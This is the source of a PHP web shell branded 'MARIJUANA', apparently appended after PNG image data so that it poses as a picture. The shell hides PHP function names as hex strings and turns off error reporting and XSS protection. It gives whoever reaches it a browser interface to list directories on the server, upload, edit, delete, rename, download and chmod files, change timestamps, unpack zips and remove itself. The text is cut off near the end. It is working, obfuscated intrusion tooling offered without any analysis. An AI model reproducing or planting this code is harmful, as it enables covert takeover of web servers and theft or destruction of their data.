{
    global $GNJ;
    ob_start();
    $GNJ[16]($y1($y2));
    return $GNJ[36]();
}
function hex($n)
{
    $y = '';
    for ($i = 0; $i < strlen($n); $i++) {
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y)
{
    $n = '';
    for ($i = 0; $i < strlen($y) - 1; $i += 2) {
        $n .= chr(hexdec($y[$i] . $y[$i + 1]));
    }
    return $n;
}
function OK()
{
    global $GNJ, $d;
    $GNJ[38]($GNJ[9]);
    header("Location: ?d=" . hex($d) . "&1");
    exit;
}
function ER()
{
    global $GNJ, $d;
    $GNJ[38]($GNJ[9]);
    header("Location: ?d=" . hex($d) . "&0");
    exit;
}
function x($c)
{
    global $GNJ;
    $x = $GNJ[24]($c);
    if (($x & 0xc000) == 0xc000) {
        $u = "s";
    } elseif (($x & 0xa000) == 0xa000) {
        $u = "l";
    } elseif (($x & 0x8000) == 0x8000) {
        $u = "-";
    } elseif (($x & 0x6000) == 0x6000) {
        $u = "b";
    } elseif (($x & 0x4000) == 0x4000) {
        $u = "d";
    } elseif (($x & 0x2000) == 0x2000) {
        $u = "c";
    } elseif (($x & 0x1000) == 0x1000) {
        $u = "p";
    } else {
        $u = "u";
    }
    $u .= $x & 0x100 ? "r" : "-";
    $u .= $x & 0x80 ? "w" : "-";
    $u .= $x & 0x40 ? $x & 0x800 ? "s" : "x" : ($x & 0x800 ? "S" : "-");
    $u .= $x & 0x20 ? "r" : "-";
    $u .= $x & 0x10 ? "w" : "-";
    $u .= $x & 0x8 ? $x & 0x400 ? "s" : "x" : ($x & 0x400 ? "S" : "-");
    $u .= $x & 0x4 ? "r" : "-";
    $u .= $x & 0x2 ? "w" : "-";
    $u .= $x & 0x1 ? $x & 0x200 ? "t" : "x" : ($x & 0x200 ? "T" : "-");
    return $u;
}
if (isset($_GET["g"])) {
    $GNJ[38]($GNJ[9]);
    header("Content-Type: application/octet-stream");
    header("Content-Transfer-Encoding: Binary");
    header("Content-Length: " . $GNJ[34](uhex($_GET["g"])));
    header("Content-disposition: attachment; filename=\"" . uhex($_GET["g"]) . "\"");
    $GNJ[37](uhex($_GET["g"]));
}


Original code

 vEPNG


IHDR{`E=IDATxw\gu?wfvW]d˖-ލmp/L@o @B!
$ߐ		R `B0^dYrQj۴>wfV3F}Y2{S>aaaaaaaažA$ƒ.~/b_t/sTWzv)B*}WЍD^)zkgZh&"#-
?r+$TMt*^ ﲯDA"8ti}~2
0`axi\?i_c*
ZפֿQ$
?gd4gN^r߿T](ly$RWPU6@Q5<"RkN$0Z=CfA:/1V?gߧjK^CH&=hSM"]EXz(l砳ճ@	_7|(4W!Ls&w.+ȏlc]&1!F[f
_"޷x׫3YDdQREGI+\qm6*إ`G$N0[jTn;VCِMb5p-8ACMOG> Z(VurߴLj4C+[df-PҰS}y@UXiX ?:Pݼ(ko2q]m[yc|vT6E,7ޱ6}&z~,z0C`XdX,5G #MJz[B
@ag~ޫ(+J̷+hEg;^=infС[]6&͓"¨~ucnc$]*QP2A@fl5
./fzT^f&Y$ak]zj!v$*[͑,r~OC|}ѡmte)aZ]"gVifZzl
<~z<֢ .2\>{RO#CY.2~bՆV@-VWQSm'4xySՕmxoS<qCV{dDL0CjȘS`RcS&!qyP6$zi#2?.UP"8`yVڊqhbg<$v9&HWc{F*
ݪ&B58}nT
E=(Fv*u1v1Y?2%NRv7?zkU9+7Q8
!c@	@*(jFRGQ2Y2T(Hn&}~f$b'RJbJ5dw{d؈fbW9ـϭjbH5ܯgԍ3IMnSlsFYnPٷTEJ*c=ϰi#DѣT~1oH̒`zST[z
[E!=nzUxJM"U0&V7ywt]"oP,DAY8(Q+*(Vkqc.q[[4n9JvǃL2CAX$P2:&b3Iwq.k*b{ɞ:HH\4O<ˠmPs6+DzNP&UmOLIeI6٥d#@8#0*XO
VHՕuAUXnR<!ʪFYh4cl{
&e6l.Jfa{G#;ܮL]p<
!\~ڦ.+:	!Iazn.^&[nXh)s	bm6
clx2Sc1tD#|HU8S$jRÈRBsò;w۽Ͷ7Dn,Ǜ`+D&æ;Σ6{GmxZ,0mÒk5/PpjHX:Q+%~nmO:I*"e1ڰ>]bs[
aGpr_$Yo$PiRnc,5ѻpb505ǘ>Cf8xo,p73%.p%6tEG;cst"?evTF݈
‡\I1ʱGmYbHѡme0l.entf DG
@l#V9@؎Х1nw.͆McZ;HsSHҤ32Q+
Iu~	fdBPCru>ܽӭ2j!){ՖO={'@nkd8xğؗ\(<Q3ʎLظMlR'ggcfy=m!
.RW)ZbL]UvkRCZK9j۞̀Π>atneKu7+$pF98Gi=$Ve)9Ŧ*mTWP0Q24EYg{61-ix5.uQ7zɖHw3l]o.ִS~yت~fV7HkŖJe.37UAp8P+h7tGREEe[kT3AAb`̯7Nػӯ.2,g:OQIX:
LE-$Z[{&ҥh@E(a=[k-ՔC5q!ǐL.c
s[VtyV̠%I]~7co;8όUx/"]FM|zʪPS)(*-ȃαHEo`"Ozt3QflgxXza:P42dNY*u9vc0q#XbUm
6p"2֧R/I׺RpņlDwq-V986mKa5P1nP70lnp>;+T5hGNTVsiH=8B
b׬2<z,
t$]*CV(S53gT5Y`{,tey.pEvU%Vg͠ZoDbf	2Wd'Mu^뭲.qAi_ ld:[^p^3tbfau'xPF/qv¬UG]]QAb~VL8ab=pC:NEVéR6,ɦyQ>n(ȔE~ϛge`Yn⯽gTVUO-^cLqYLfnac_b92[U-0+cѦˬ5K%vUԤY5$jqyHqe)(HtՍ'lЁ.]k{4U@u?fS0K\MAyܰTKn5-Fud~UbRRHB+1YvCiHA䍎y].r'nXfa8.K9ߐz0C BE6[m7)h8[o.2ѐ]ʺ*C@(Lqi7ЁEn"5UǙeb'⧶Lu{mkYj ':^FʦuÀ*T:W͵q7
'8~zW4,
%ay/Y>KjY[&UPWUƣv٬#4[ٶvaJ*\m^EMW:ҙfYzr-SAE=P3Enj't3j)x
K=\A;,5Nf!+yzU*t)pr>x"\)@}Lh,:%n[>BQ-]Xb5#dcU%iD17xL5I@md]$?WVQecgZ~myck!R
?kF{]onlza}G;ND_tmGovB;c4HlXw[jY]Kĺb:ju'qęSf$r֗4vnA*yQkwy}Vdi^bMyQNM~fM`X=͎q2Q^eZ8NβҰݯk˝l^X^
ӿz*#b<g4}%^a1S&8"XIPOT0šZq-l#| ebowG,o6T.sN֓S%V>^LۭVs+
;6OP%Y/nPs'L;w9jCDQjv3(֫钥Bjs-5r̕*6dyQSu8$km*YR[aAO oe6w9l]Ш*jt%}[$Rq
k~d'pdX;*c^$*b~fAu+U	Ɠ$I(:S6)aEowQ\2}:͎q;Uڈ31aYOAM$U{\hXDƇP6e5jqjC628ȱ!"RI&Lt5n~{Q]\^}0'@h<>-pP6v1~`[#6-1RUelAK+t]mie.EHl4GpMHod<llmʖcsm.xmJrE@n,{lCM ]՛|۠:Y-SNeRh*jzȹ	u6Fnc3{V{CSQ`XXH/>:@ܬ=֘+QXOE+;—9~֘gff#^;Mخfj*8-naXN_u8ʘY`	&e._.BIDOˬDc>now!ZWo,1eαUN5F?үBx\7.AXc0"GƟ,^N+]	ɟDdC4ţnݫ]cص&7M^g:
vř)+׊$ÒF红bjJbgX+Spꒆ|@EA.5BG:Q1A6dLI{JyG̱F]kj+n`@mj)?USG|*R
cuwQBE(%b?B
(nI>AEInjQ2cdmeqcKI; U3!*Pous"jщȨbP샡p<oԂxe*?.*,~0Ẳނ1K|k"@IQ!FVb-5YW^g="AúllaK(9W2OJt~k
xaHd%
BGzzŪq06ӳUe`oSh"3f]G{ķ=n?6A|ʏx'*e{n;cOd}ŭUg~!<
uG0&֣&6áUAM65;6'y)@%RUxvm>~ۧ Ujyʉ6V:+Xc>eĀռ\c!H&+M-m.q;|EWUSKqKtIy@#+?P8cE~נtRj
>b^Mqb5CQ\4gbzC&˝hm!g[GZiW8h\*7dmXDÇ^cǶ6)[kFOSCt0#0ɥfzcMAf:{KA.>w#=ڱE-1;/Tj|SLr%
ؗ}^:7a].wfnEywF>.2{w8w?oXAH
Horc\sdn	Q?mJq	7}e.tv?r^+=[m&
Lswpͷ%u
H=>kD
=~ߟy'<c{&kE3,J[іTjtn͵ˉ>poou.}ߺ=h9B=>N+0ZUc(]-x@)cÈ٥`>%^3mXj/E)^=sj8xha^V[TD<þ뇾g)o7yFM~g?J=BfOs0O>DqJJl&*f;+&3ʆL
	m.FUlPjj".
Ơ-^ojZ;ǃeI|_Zg8Zzh[Vb|Ƚ^nժ
j^uu	!iPlKaÞrͺ_Yn}V)jaTw,TT.Zfb$.!cL-gAm.Y\q'Y_#5l6nytpHB'U?)#JzTu:İ?vwoe>`>4~ 7'+ZhUuۦ}&:ཧ!򟘪``RWUUfa5dTc;l?S0CVy0,)&ulw|PHy}n`Nxo)vZ"
6{kcnSnK¦NKzlNqs&[(0'B]|l-SZ6?{&ģ`AHj坻s3,'c'mc}	w7HA	B|4ds"ad3_CoE-hWѠ+6_'j[eQÚorA(m
8T
Xc5VϼÄW3jmuWB0ߎqNlxTa3hMb[\hGm.r-.n#:
wV:k3mֺFDF]#q%
AŊbHl{H_XFFyM~fvD@f^
cEE<"ؚ+faӑH]z]A=.(!zy([jHc]c;}WuuwHC>mIZFDOdo;  OG#?xA.Y!+~RetƩ_4:}hԚhV&kls#\e-SNhb10A=rN]~iӾeao3JndLA^cU.>u]6b}\d2tΚ].T2<sP&wM_'+J|ħ\[Ew"ܱm;C[Xj'j{70׆mqIvcNi)-I*FQIZH阴;-q7wHBZH(Mbc1?cb7i%H-KұiO:%=0voM)=5(Bq(-]5MǪL3<aSvŷ(hgTA!b%y{CV;<rS-Uop8pg%:7mkѭHUv<_pK}TroÓ!l"R
s~[ܭn!ZiYE'ڜ/x~8m/͙ }V:CRmSHNReo5zquhdD gϨ@
3^]0ؒ
JP;@ɼ]n`Su
I!?7{fG62}lhv;}VK$
vOyce.S`e6&RCv))K-sX50+*1M_!aXͽ~}SU4ZB?#Q1zg%a.74)ffi,mg\%Zo.Xp/γZ>?eCnuw\=ۏ+
w}ɰX٠J(j`c ~'S7]pHD0?u9ӳZ!Xk$kw*4~;ن}:D
vjr]s}͍'D[f4BB],a5?+9=ҖTHqYC X~l-g,W-%r<+k}歝Pe[guI`oQ7
H_~b3zjqfڬ/;4~Q-J*7
ϸB!!j4'^{ 8
r&EDc#5HC4=%VU&B|C `qootDjvFvK=!%ܭ=oKSsMuq	$1d
)XUp'lm	Z&_r+LW0iw:?(Cjkβc|(Q1͐mf6Clhݪ]>m.9ru#bXeƣߐImF>9±XH#-v1
t
!5dOn[
RM3!oua,׫'b#iw"C3^AiF;ĐX+1b.cL,slATkJQ$E&y[*C`lxX2z+mNTI(۪bmPr
M)Z,eqlS|FSA!?c4G1LyK8٦a=d~q&:4 |
\YP>a}hlKTjOoQ,9uj(Ll
<W$ѥl0dٸFnu3Exјq 
@"Q
[_yT+Kg+͊Èɼhl:aSjTTQ<s6XN1VeJ5+(+#2^
2s'w=\\^)1Fo$֥A8+*ʚTc
?:Hr:rwWpo>?Ֆ	@VO\Vm!SAU5TSQS6hPYj,kaG@
n8?b6KyۿwQ0"N0"1lOS>
<Ýt&2o͊!Y[M;>k9h}>Af'%'Uu_RlSEut0)Mx^
ߥ5>S6*!=6%5N+W=2F	)"БD(LlyJhB8d2 je&1	O7/:|:Rݡ&7m+qh‡34{}F!w3s=4k17!i5goaЫk>byT(x4g?U$ol=;4
WBB%r;x6#1
U})`)-wGQc{a@E 2`Q-?G3
iYxUsܢB[tqԃ+Xo]֥(i}5{CYilX|gdZװn9fTOyRH?o>(6wH;@#pdMAkmHsD_t+uc"uR[ja<t4n݅ڍ$5E^J[Wo[`NȌ~PWT	^
WՐw{]|{-N[}ͮ%'跰c~OGG첿v_^!+Q	-unu;#z[ft:Zb&g)L}wwf٪H	BNS?a`E3ސ
ELϦ4E0͛[{NON	k|i9wz;'R >z%4ʽ@@l[wy=RH͆tIh
ٹO$vx̿a*rdwdp/F^\*W[iw4
.8ou9i=^zIEg
\mh\qȐiXi+dgynrc@8B l!"]vx~fź"fzoYVt<?KOe
[5{0,^坶zj씘Kdَ6Ӏ]gqVP築Vdv{7r;НNpcdƘlMzmw%[ոۿ/F@LfuMch%L2?3j(t%zweƛ<wdYYTUɐAV
ua8Eq(|tx:8Ąo&aDE-ZpY&{F
@QW4TsMS9	@e~nd~2XOx3C8
VS`jvZ	56:L|Iqn#	<'Id}^
gV8`+ɎD*2Iw#^'{i+vi|y2Z$1;wdM+ti9l!s\aj
|Қ68*",ȅ:1Y}#'8
)]r}*URUe;bK1ЬKՔ${@]joy-3?R2\[OXi#y555k_T~n?֏Yw敊!˨(htT$0s$RgCQ$n_PdD_s}=a1݊Q;mZ]R{]j|}̂;]py"=]6F3g]"n3wd#20Cp:XfŮ2ZI5t&\5DLglD+*=#=jF̀q]э6Quȝm/yGH[oW);5ml|Ά`W>g'PDdwhsVp6 Q9л\雾WEˏa|FaDho:cvRy	xm+RDʦkeO*fϏ\ϰl2P[M97_Iv:ҧ}ê!Ac'F	LmV@JL
o]><dSš,"šQuQ4d#}
bX#kja:pojsAno(h^s4O
5PPmϸmsMM\sY 6}Ь,{uQ.d6w66?L.Աt9jWcF
sA|ɮvãևADfi6]7,vUP'i/CQڏ
R5Gz
=΢@sa5;INO#P,狏t;Υ7nuʪ
Jʡi3@׾'i#\6?0W_hʚ_6y{TlcD-7OPITU=m UU}eqwM
OUpSmk	v"zѯidkn_vQ<L-eJZ#/1Ω^ֽ{iͧ.]X>W_^‘[)7zA9mzR%÷~٧;zT<1'V)m$Ɗm_~9yF#2H=D6o*\dէy{幼8gRCVN`D"(L60i}.xXIf7Rpy`4BĊ
R$	z)ڸ^OXSr
9cI8io qxfύœkКɡѫ;?48Lxhى.]Ktd69SRj!r3-@#̣<W<1z.<UCf%*z_U@rz>dBH2A
\n'-ժzCskDóC4.Pޅ4F,2Z͐9V樉E(V&r^n|KXe<0ؕZdS\[iv(Ix<PeEUItCT<fCjӽ	6[ 2h{a6Tb=%
lhr1;E95&X!G^g,
C3n4$&h9Q+{u5:إN3p`DmsX*Ԟh)Kf(Ҝ1֧`RQK&~Slg-9I72s-Bu#5	fP1OXfcv3ͶνFYs,R
:#lG{RDHdWyY,Ht92^EZ²P;a%ǹ[լwݥX}ǽb*p HEd;,=xwmFdt<߰ARm,lk
m$5Ǐ`u~74D5珌VGs3;s3A*}ɞ	(c3bj"k
4֣#Y@v6Üߑ[q,XhT
40Z&	SE{Wmr%TVU]tsijvXئ/LY9Zbv8ؽA<گD	˛Vxllcoa7y,3G~j\rO=CydN16U0Iz
k%tM!#ɺVo;hUU7ʡNt
Mi&BǢ'=NtwzeJ#̓xyKVYQK4œ^WWX7(GyDA;MlGnxuɺhf痗o,;]lgLGDwG*w{\WܣA<Ϥ~>[Tk}f342ƪFjiЊ%#8G\m>5g=J!wU>jE
a;gk%Fl{zHQlĒ&[>,EI!sֿg}~3m=~F}&gbcQkwfT`km%4w+j*in3c$0/	8[,N0ٟ(IB˩C} t{C\E%"3,*"jfmY`YfȐ*	NhY8K&G
r28Z6iΊZtYVlqƷj/Lmm*0xn~N^k\lk$clkVB4[+L1ɉ5eNr#B+9
emm1A7RU!fhI؜_Z'';O۟Ur^~h+3A2Mom˟ܣ#_ا8-f=#W-V9Vwiϫ
׿
;:S{~d.6w'<
ߞ:E?v_
U
f	ZmGh1&E6(uKTUnY]ڶe_th.vylEٌb -mQF{!?i-GyQ@7xZSό(0<ie*ڞ^W(6+~5g#{C1fam{E]UUþaMTS>E!{粃MWaDU֒PЎ~]rSl\ha#hV[h*K|`fru'&6퇶fX͎3P7o*[wܳJfAN4FM/H]4S.[bX o-äw#{ϢqV:̰>R-sMyػ]o@3JLL:)0^.u^Bw3Fzե~ZWMsWcFJ6(/ʼ榿О~+H2dek_8:;_jYwUQD	@vQ.|^L:ϐ~!hOaYt+MP|FwbHn8m*9~tүn?94}.4+^JAs6D]3pW#We?<=CgG9kiG{.nhˑ1Z8;-5mͯLͶt+-j(i']-5~s1;
OGQuurnr1,g%!S]\7IJT{A*UDmomr&u/nQ^`ɫxsMҫ?y|PXEboe4ioh[[*Hːb	%7˼O5**^Zz%a׻)T0M5@S(w+BIȯfi}q=OIUj»G6eіYT3S2P}^gckK[}<xP4PI֧0/?ioh
d{,O}f*,/HomE=jPon=As5I64_/gcT^}֫Y(R-36?TEj׸jBsgo*h+*YAg6$ckj'te٠I.#BCne^s`?EdeWw\5KDGҰaZ[BEǛd $IH#3ņ#MݑJ
|ס>H?4`E-mA#4ܐig9zfueQ`S¹!+
Хm"]vő1?Bs%jR[r'/;ч{l4hsOY͛i];jYd a6)
>#KS?39	`,5Р4HLc=cCC>/)P;dY;GBTACo?skv>|R?*	PFO}Qim@	@>%EFW3=cgw}FΪZCK/KZޗL#FِEiFD\qq;@͠>eU0Wnw}:EwcG#q3]&|(+UJ[AP,fc-xsa+JlIUٷ6*r-uYd\y:7*1OTT꿃lilwu++[^?}o5-a,~)j4onxo&ηأB]j/B/mI	3"uuec\b[ސY'zu+;]XkARL[P$
) Q^iPg9[-Y
+Dgiq`%IK~Ϛ|֕.t!$2̃E϶sne{OnKr;
yN3yXjPq%|5˶F.?	X;82'ʻ+w 2X'uIUUty"9,/wG*+zcx\rڮQwOmzovo5-l# .x)yJJ*1GXGYbcbKn7)[	N2oβf>OO74
/>IG|EBړNLߙޘLM?Si!-/_I'iO:&ޚ14NQZH_>e_:*Ii!҉oOմVtNtfZL8IKi)-]i!(\Ouhkݐ6ꓨ[T֙(l%l^q^7Ps#0QZfYJV
_;:΂DtoV-q{\m~,	3|HwvU42B7Zц3Fe̺({Gi(LJĶN;u^aaLl3M;t,~hİ|zlc-vk;zvɶ&iaK孮2b?\jJbkV&Da>oC݅նnA
@޵ޘAdWdK3C
vnTs6+(Wpta/y\@Y7mO1\RTCdI!(DY_0ja|K(#e+̓y4J"<g;}ِT,8_s_jЁGow$*;J$M"GS}O
9/p3㼀V	4D32X٦@˷/so
`Dge0هF:_v,v{fgxF R5D㬳:v
-^縆VF~0^fF1fyMsPxl'|*V%_v(98WhxLxx	
/l	(_2!'^^'r
Mϑ!|5~Ьu¯>>>>>>>>>ï!:KIENDB`<?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$Array = [
		'7068705f756e616d65',
		'70687076657273696f6e',
		'6368646972',
		'676574637764',
		'707265675f73706c6974',
		'636f7079',
		'66696c655f6765745f636f6e74656e7473',
		'6261736536345f6465636f6465',
		'69735f646972',
		'6f625f656e645f636c65616e28293b',
		'756e6c696e6b',
		'6d6b646972',
		'63686d6f64',
		'7363616e646972',
		'7374725f7265706c616365',
		'68746d6c7370656369616c6368617273',
		'7661725f64756d70',
		'666f70656e',
		'667772697465',
		'66636c6f7365',
		'64617465',
		'66696c656d74696d65',
		'737562737472',
		'737072696e7466',
		'66696c657065726d73',
		'746f756368',
		'66696c655f657869737473',
		'72656e616d65',
		'69735f6172726179',
		'69735f6f626a656374',
		'737472706f73',
		'69735f7772697461626c65',
		'69735f7265616461626c65',
		'737472746f74696d65',
		'66696c6573697a65',
		'726d646972',
		'6f625f6765745f636c65616e',
		'7265616466696c65',
		'617373657274',
];
$___ = count($Array);
for($i=0;$i<$___;$i++) {
	$GNJ[] = uhex($Array[$i]);
}
?>
<!DOCTYPE html>
	<html dir="auto" lang="en-US">

		<head>
			<meta charset="UTF-8">
			<meta name="robots" content="NOINDEX, NOFOLLOW">

				<title>MARIJUANA</title>

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
						MARIJuANA
					</a>
				</div>

				<div class="q x w">
					— DIOS — NO — CREA — NADA — EN — VANO —
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					<?php echo $GNJ[0]();?>

					<br />

					<i class="far fa-lightbulb"></i>   <b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>

					<br />

					<i class="far fa-folder"></i>
					
					<?php
					if(isset($_GET["d"])) {
						$d = uhex($_GET["d"]);
						$GNJ[2](uhex($_GET["d"]));
					}
					else {
						$d = $GNJ[3]();
					}
					$k = $GNJ[4]("/(\\\|\/)/", $d );
					foreach ($k as $m => $l) { 
						if($l=='' && $m==0) {
							echo '<a class="ajx" href="?d=2f">/</a>';
						}
						if($l == '') { 
							continue;
						}
						echo '<a class="ajx" href="?d=';
						for ($i = 0; $i <= $m; $i++) {
							echo hex($k[$i]); 
							if($i != $m) {
								echo '2f';
							}
						}
						echo '">'.$l.'</a>/'; 
					}
					?>

					<br />

				</div>

				<div class="u">
					<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple>  UPLOAD
						</label> 
					</form>

					<?php
					$o_ = [ 
							'<script>$.notify("',
							'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
						];
					$f = $o_[0].'OK!'.$o_[1];
					$g = $o_[0].'ER!'.$o_[1];
					if(isset($_FILES["n"])) {
						$z = $_FILES["n"]["name"];
						$r = count($z);
						for( $i=0 ; $i < $r ; $i++ ) {
							if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
								echo $f;
							}
							else {
								echo $g;
							}
						}
					}
					?>

				</div>
					<?php
					$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th>';
					$b_ = '</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td></td>
							</tr>
							<tr>
								<td class="x">';
					$c_ = '</td>
							</tr>
						</tbody>
					</table>';
					$d_ = '<br />
										<br />
										<input type="submit" class="w" value=" OK " />
									</form>';
					if(isset($_GET["s"])) {
						echo $a_.uhex($_GET["s"]).$b_.'
									<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
									<br />
									<br />
									<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value=" EDIT " />
								'.$c_;
					}
					elseif(isset($_GET["y"])) {
						echo $a_.'REQUEST'.$b_.'
									<form method="post">
										<input class="x" type="text" name="1" />  
										<input class="x" type="text" name="2" />
										'.$d_.'
									<br />
									<textarea readonly="yes">';

									if(isset($_POST["2"])) {
										echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
									}

								echo '</textarea>
								'.$c_;
					}
					elseif(isset($_GET["e"])) {
						echo $a_.uhex($_GET["e"]).$b_.'
									<form method="post">
										<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
										<br />
										<br />
										<span class="w">BASE64</span> :
										<select id="b64" name="b64">
											<option value="0">NO</option>
											<option value="1">YES</option>
										</select>
										'.$d_.'
								'.$c_.'
								
					<script>
						$("#b64").change(function() {
							if($("#b64 option:selected").val() == 0) {
								var X = $("textarea").val();
								var Z = atob(X);
								$("textarea").val(Z);
							}
							else {
								var N = $("textarea").val();
								var I = btoa(N);
								$("textarea").val(I);
							}
						});
					</script>';
					if(isset($_POST["e"])) {
						if($_POST["b64"] == "1") {
							$ex = $GNJ[7]($_POST["e"]);
						}
						else {
							$ex = $_POST["e"];
						}
						$fp = $GNJ[17](uhex($_GET["e"]), 'w');
						if($GNJ[18]($fp, $ex)) {
							OK();
						}
						else {
							ER();
						}
						$GNJ[19]($fp);
					  }
					}
					elseif(isset($_GET["x"])) {
						rec(uhex($_GET["x"]));
						if($GNJ[26](uhex($_GET["x"]))) {
							ER();
						}
						else {
							OK();
						}

					}
					elseif(isset($_GET["t"])) {
						echo $a_.uhex($_GET["t"]).$b_.'
									<form action="" method="post">
										<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
										'.$d_.'
								'.$c_;
					if( !empty($_POST["t"]) ) {
						$p = $GNJ[33]($_POST["t"]);
						if($p) {
							if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
								ER();
							}
							else {
								OK();
							}
						}
						else {
							ER();
						}
					  }
					}
					elseif(isset($_GET["k"])) {
						echo $a_.uhex($_GET["k"]).$b_.'
									<form action="" method="post">
										<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
										'.$d_.'
								'.$c_;
					if(!empty($_POST["b"])) {
						$x = $_POST["b"];
						$t = 0;
					for($i=strlen($x)-1;$i>=0;--$i)
						$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
					if(!$GNJ[12](uhex($_GET["k"]), $t)) {
						ER();
					}
					else {
						OK();
						  }
						}
					}
					elseif(isset($_GET["l"])) {
						echo $a_.'+DIR'.$b_.'
									<form action="" method="post">
										<input name="l" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["l"])) {
						if(!$GNJ[11]($_POST["l"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["q"])) {
						if($GNJ[10](__FILE__)) {
							$GNJ[38]($GNJ[9]);
							header("Location: ".basename($_SERVER['PHP_SELF'])."");
							exit();
						}
						else {
							echo $g;
						}
					}
					elseif(isset($_GET["n"])) {
						echo $a_.'+FILE'.$b_.'
									<form action="" method="post">
										<input name="n" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["n"])) {
						if(!$GNJ[25]($_POST["n"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["r"])) {
						echo $a_.uhex($_GET["r"]).$b_.'
									<form action="" method="post">
										<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
										'.$d_.'
								'.$c_;
					if(isset($_POST["r"])) {
						if($GNJ[26]($_POST["r"])) {
							ER();
						}
						else {
							if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
								OK();
							}
							else {
								ER();
							}
						  }
					   }
					}
					elseif(isset($_GET["z"])) {
						$zip = new ZipArchive;
						$res = $zip->open(uhex($_GET["z"]));
							if($res === TRUE) {
								$zip->extractTo(uhex($_GET["d"]));
								$zip->close();
								OK();
							} else {
								ER();
						  }
					}
					else {
					echo '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
									<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
								</td>
							</tr>
						';

							$h = "";
							$j = "";
							$w = $GNJ[13]($d);
							if($GNJ[28]($w) || $GNJ[29]($w)) {
							foreach($w as $c){
								$e = $GNJ[14]("\\", "/", $d);
								if(!$GNJ[30]($c, ".zip")) {
									$zi = '';
								}
								else {
									$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
								}
								if($GNJ[31]("$d/$c")) {
										$o = "";
								}
								elseif(!$GNJ[32]("$d/$c")) {
										$o = " h";
								}
								else {
										$o = " w";
								}
								$s = $GNJ[34]("$d/$c") / 1024;
								$s = round($s, 3);
								if($s>=1024) { 
									$s = round($s/1024, 2) . " MB";
								} else {
									$s = $s . " KB";
								}
							if(($c != ".") && ($c != "..")){
								($GNJ[8]("$d/$c")) ?
								$h .= '<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						'
							:
								$j .= '<tr class="r">
							<td>
								<i class="far fa-file m"></i> 
								<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
							</td>
							<td class="x">
								'.$s.'
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
								<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
								'.$zi.'
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						';

							}
						}
					}

						echo $h;
						echo $j;
						echo '</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
									<a href="?d='.hex($e).'&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
